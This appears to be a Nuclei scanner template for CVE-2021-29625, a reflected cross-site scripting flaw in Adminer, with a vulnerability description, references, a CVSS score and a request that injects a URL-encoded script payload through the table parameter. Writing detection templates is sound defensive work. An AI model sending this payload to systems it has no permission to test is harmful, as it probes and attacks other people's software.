41 lines
1.6 KiB
YAML
41 lines
1.6 KiB
YAML
id: CVE-2021-29625
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info:
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name: Adminer reflected XSS via the table parameter
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author: daffainfo
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severity: medium
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description: Adminer is open-source database management software. A cross-site scripting vulnerability in Adminer versions 4.6.1 to 4.8.0 affects users of MySQL, MariaDB, PgSQL and SQLite. XSS is in most cases
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prevented by strict CSP in all modern browsers. The only exception is when Adminer is using a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled). In browsers
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without CSP, Adminer versions 4.6.1 to 4.8.0 are affected. The vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g.
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`mysqli`) or disable displaying PHP errors (`display_errors`).
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reference:
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- https://sourceforge.net/p/adminer/bugs-and-features/797/
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- https://www.cvedetails.com/cve/CVE-2021-29625/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-29625
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cwe-id: CWE-79
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tags: cve,cve2021,adminer,xss
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requests:
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- method: GET
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path:
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- '{{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "</script><script>alert(document.domain)</script>"
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part: body
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- type: word
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words:
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- "text/html"
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part: header
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- type: status
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status:
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- 200
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